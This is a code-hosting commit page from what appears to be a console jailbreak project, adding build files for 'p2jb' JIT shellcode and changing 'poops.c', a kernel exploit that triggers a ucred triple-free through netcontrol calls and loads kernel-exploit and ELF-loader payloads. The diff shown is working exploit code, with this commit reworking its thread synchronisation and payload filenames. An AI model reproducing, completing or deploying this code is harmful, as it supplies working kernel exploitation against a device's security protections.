starred/Luac0re
1
0 Fork 0
mirror of https://github.com/Gezine/Luac0re.git synced 2026-10-18 23:07:31 -05:00
Code Issues Packages Projects Releases 4 Wiki Activity

Add poops and p2jb c source

Browse Source
This commit is contained in:
Gezine committed 2026-05-26 16:31:04 +09:00
1 parent a26d3baa47
commit 13571408a8
5 files changed
+1845 -26
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

jit_shellcode/p2jb/Makefile
+17
View File
@@ -0,0 +1,17 @@
CC = gcc
OBJCOPY = objcopy
CFLAGS = -O3 -no-pie -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -fno-stack-protector -ffreestanding -fno-builtin -Tscript.ld
NAME = p2jb
.PHONY: all
all: $(NAME).bin
$(NAME).bin: $(NAME).c
$(CC) $(CFLAGS) -c $(NAME).c -o $(NAME).o
$(CC) $(NAME).o -o $(NAME).elf $(CFLAGS)
$(OBJCOPY) -O binary --only-section=.text $(NAME).elf $@
-rm -f $(NAME).elf $(NAME).o
.PHONY: clean
clean:
-rm -f $(NAME).o $(NAME).bin $(NAME).elf
jit_shellcode/p2jb/p2jb.c
+1709
View File
File diff suppressed because it is too large. Load diff
jit_shellcode/p2jb/script.ld
+6
View File
@@ -0,0 +1,6 @@
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
PHDRS { code_seg PT_LOAD; }
SECTIONS { .text : { *(.text.start) *(.text*) *(.rodata*) } : code_seg }
jit_shellcode/p2jb/types.h
+31
View File
@@ -0,0 +1,31 @@
/* Copyright (C) 2024 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
#ifndef TYPES_H_
#define TYPES_H_
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
#endif
jit_shellcode/poops/poops.c
+82 -26
View File
@@ -1,4 +1,4 @@
// https://github.com/Gezine/BD-UN-JB/blob/main/payloads/poops/src/org/bdj/external/Poops.java
// Credits : TheFloW, egycnq, Gezine
#include "types.h"
@@ -113,7 +113,13 @@ typedef s32 (*netcontrol_t) (s32 ifidx, s32 cmd, void *buf, s32 sz);
typedef s64 (*sendto_t) (s32 fd, const void *buf, u64 len, s32 flags,
const void *to, u32 tolen);
typedef s32 (*pthread_create_t) (u64 *thr, void *attr, void *(*fn)(void*), void *arg);
typedef s32 (*pthread_join_t) (u64 thr, void **ret);
typedef s32 (*pthread_join_t) (u64 thr, void **ret);
typedef s32 (*pthread_mutex_init_t) (u64 *mtx, const void *attr);
typedef s32 (*pthread_mutex_lock_t) (u64 *mtx);
typedef s32 (*pthread_mutex_unlock_t) (u64 *mtx);
typedef s32 (*pthread_cond_init_t) (u64 *cond, const void *attr);
typedef s32 (*pthread_cond_wait_t) (u64 *cond, u64 *mtx);
typedef s32 (*pthread_cond_broadcast_t)(u64 *cond);
typedef void *(*calloc_t) (u64 nmemb, u64 size);
typedef void (*free_t) (void *ptr);
typedef s32 (*sceKernelJitCreateSharedMemory_t)(u32 flags, u64 size, u32 prot, s32 *fd_out);
@@ -122,10 +128,17 @@ typedef s32 (*open_t) (const char *path, s32 flags);
typedef s64 (*lseek_t) (s32 fd, s64 offset, s32 whence);
typedef struct {
volatile s32 total;
volatile s32 started;
volatile s32 finished;
volatile s32 command;
s32 total;
s32 started;
s32 finished;
s32 command;
u64 mutex;
u64 cond;
void *gadget;
pthread_mutex_lock_t fn_lock;
pthread_mutex_unlock_t fn_unlock;
pthread_cond_wait_t fn_wait;
pthread_cond_broadcast_t fn_broadcast;
} worker_state_t;
typedef struct {
@@ -156,7 +169,13 @@ typedef struct {
netcontrol_t fn_netcontrol;
sendto_t fn_sendto;
pthread_create_t fn_pthread_create;
pthread_join_t fn_pthread_join;
pthread_join_t fn_pthread_join;
pthread_mutex_init_t fn_mutex_init;
pthread_mutex_lock_t fn_mutex_lock;
pthread_mutex_unlock_t fn_mutex_unlock;
pthread_cond_init_t fn_cond_init;
pthread_cond_wait_t fn_cond_wait;
pthread_cond_broadcast_t fn_cond_broadcast;
calloc_t fn_calloc;
free_t fn_free;
sceKernelJitCreateSharedMemory_t fn_jit_create;
@@ -273,7 +292,7 @@ static u32 parse_ipv4(const char *s)
static void log_send(exploit_ctx_t *ctx, const char *msg)
{
if (ctx->log_sock < 0 || !ctx->fn_sendto) return;
if (ctx->log_sock <= 0 || !ctx->fn_sendto) return;
eboot_wrap(ctx->gadget, (void*)ctx->fn_sendto,
(u64)ctx->log_sock, (u64)msg, str_len(msg), 0,
(u64)ctx->log_addr, 16);
@@ -304,38 +323,69 @@ static void log_hex64(exploit_ctx_t *ctx, const char *msg, u64 v)
log_send(ctx, buf);
}
static void worker_init(worker_state_t *ws, s32 total)
#define WS_LOCK(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_lock, (u64)&(ws)->mutex,0,0,0,0,0)
#define WS_UNLOCK(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_unlock, (u64)&(ws)->mutex,0,0,0,0,0)
#define WS_WAIT(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_wait, (u64)&(ws)->cond,(u64)&(ws)->mutex,0,0,0,0)
#define WS_BROADCAST(ws) eboot_wrap((ws)->gadget,(void*)(ws)->fn_broadcast,(u64)&(ws)->cond,0,0,0,0,0)
static void worker_init(worker_state_t *ws, s32 total, exploit_ctx_t *ctx)
{
ws->total = total;
ws->started = 0;
ws->finished= 0;
ws->command = -1;
ws->total = total;
ws->started = 0;
ws->finished = 0;
ws->command = -1;
ws->gadget = ctx->gadget;
ws->fn_lock = ctx->fn_mutex_lock;
ws->fn_unlock = ctx->fn_mutex_unlock;
ws->fn_wait = ctx->fn_cond_wait;
ws->fn_broadcast = ctx->fn_cond_broadcast;
eboot_wrap(ctx->gadget, (void*)ctx->fn_mutex_init,
(u64)&ws->mutex, 0, 0, 0, 0, 0);
eboot_wrap(ctx->gadget, (void*)ctx->fn_cond_init,
(u64)&ws->cond, 0, 0, 0, 0, 0);
}
static void worker_signal_work(worker_state_t *ws, s32 cmd)
{
WS_LOCK(ws);
ws->started = 0;
ws->finished = 0;
ws->command = cmd;
while (ws->started < ws->total) {}
WS_BROADCAST(ws);
while (ws->started < ws->total)
WS_WAIT(ws);
WS_UNLOCK(ws);
}
static s32 worker_wait_for_work(worker_state_t *ws)
{
while (ws->command == -1 || ws->finished != 0) {}
__sync_fetch_and_add(&ws->started, 1);
return ws->command;
WS_LOCK(ws);
while (ws->command == -1 || ws->finished != 0)
WS_WAIT(ws);
ws->started++;
if (ws->started == ws->total)
WS_BROADCAST(ws);
s32 cmd = ws->command;
WS_UNLOCK(ws);
return cmd;
}
static void worker_signal_finished(worker_state_t *ws)
{
__sync_fetch_and_add(&ws->finished, 1);
WS_LOCK(ws);
ws->finished++;
if (ws->finished == ws->total)
WS_BROADCAST(ws);
WS_UNLOCK(ws);
}
static void worker_wait_for_finished(worker_state_t *ws)
{
while (ws->finished < ws->total) {}
WS_LOCK(ws);
while (ws->finished < ws->total)
WS_WAIT(ws);
ws->command = -1;
WS_UNLOCK(ws);
}
static void cpu_set_affinity(exploit_ctx_t *ctx, s32 core)
@@ -586,8 +636,8 @@ static s32 trigger_ucred_triple_free(exploit_ctx_t *ctx)
thread_arg_t *uio_args = (thread_arg_t*)
CALL(ctx, fn_calloc, UIO_THREAD_NUM, sizeof(thread_arg_t), 0, 0, 0, 0);
worker_init(&ctx->iov_state, IOV_THREAD_NUM);
worker_init(&ctx->uio_state, UIO_THREAD_NUM);
worker_init(&ctx->iov_state, IOV_THREAD_NUM, ctx);
worker_init(&ctx->uio_state, UIO_THREAD_NUM, ctx);
for (int i = 0; i < IOV_THREAD_NUM; i++) {
iov_args[i].ctx = ctx;
@@ -647,7 +697,7 @@ static s32 trigger_ucred_triple_free(exploit_ctx_t *ctx)
PUT32(clear_buf, 0, ctx->uaf_sock);
CALL(ctx, fn_netcontrol, slot, NET_CONTROL_NETEVENT_CLEAR_QUEUE,
(u64)clear_buf, 8, 0, 0);
LOG(ctx, "tctf: netcontrol CLEAR_QUEUE done (poops)\n");
LOG(ctx, "tctf: netcontrol CLEAR_QUEUE done\n");
for (int i = 0; i < 32; i++) {
@@ -1228,7 +1278,7 @@ static s32 aio_prepare(exploit_ctx_t *ctx, const char *title_id, aio_ctx_t *aio)
LOG(ctx, "aio: finding elfldr\n");
char elfldr_path[512];
if (!find_file(ctx, title_id, "elfldr_1320_v5.elf", elfldr_path)) {
if (!find_file(ctx, title_id, "elfldr-ps5-0.23.elf", elfldr_path)) {
LOG(ctx, "aio: elfldr not found\n");
return 0;
}
@@ -1246,7 +1296,7 @@ static s32 aio_prepare(exploit_ctx_t *ctx, const char *title_id, aio_ctx_t *aio)
char *p = bin_path; while (*s) *p++ = *s++; *p = '\0';
LOG(ctx, "aio: using usb kexp_debug.bin\n");
} else {
if (!find_file(ctx, title_id, "kexp_v6.bin", bin_path)) {
if (!find_file(ctx, title_id, "kexp_2026_05_25.bin", bin_path)) {
LOG(ctx, "aio: kexp bin not found\n");
CALL(ctx, fn_free, (u64)aio->elfldr_data, 0, 0, 0, 0, 0);
aio->elfldr_data = 0;
@@ -1358,8 +1408,14 @@ u64 main(u64 arg1, u64 arg2, u64 arg3, u64 arg4, u64 arg5, u64 arg6)
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "__sys_netcontrol", (void**)&ctx.fn_netcontrol);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_create", (void**)&ctx.fn_pthread_create);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_join", (void**)&ctx.fn_pthread_join);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_create", (void**)&ctx.fn_pthread_create);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_join", (void**)&ctx.fn_pthread_join);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_init", (void**)&ctx.fn_mutex_init);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_lock", (void**)&ctx.fn_mutex_lock);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_mutex_unlock", (void**)&ctx.fn_mutex_unlock);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_init", (void**)&ctx.fn_cond_init);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_wait", (void**)&ctx.fn_cond_wait);
resolve(ctx.gadget, dlsym, LIBKERNEL_HANDLE, "pthread_cond_broadcast", (void**)&ctx.fn_cond_broadcast);
resolve(ctx.gadget, dlsym, LIBC_HANDLE, "calloc", (void**)&ctx.fn_calloc);
resolve(ctx.gadget, dlsym, LIBC_HANDLE, "free", (void**)&ctx.fn_free);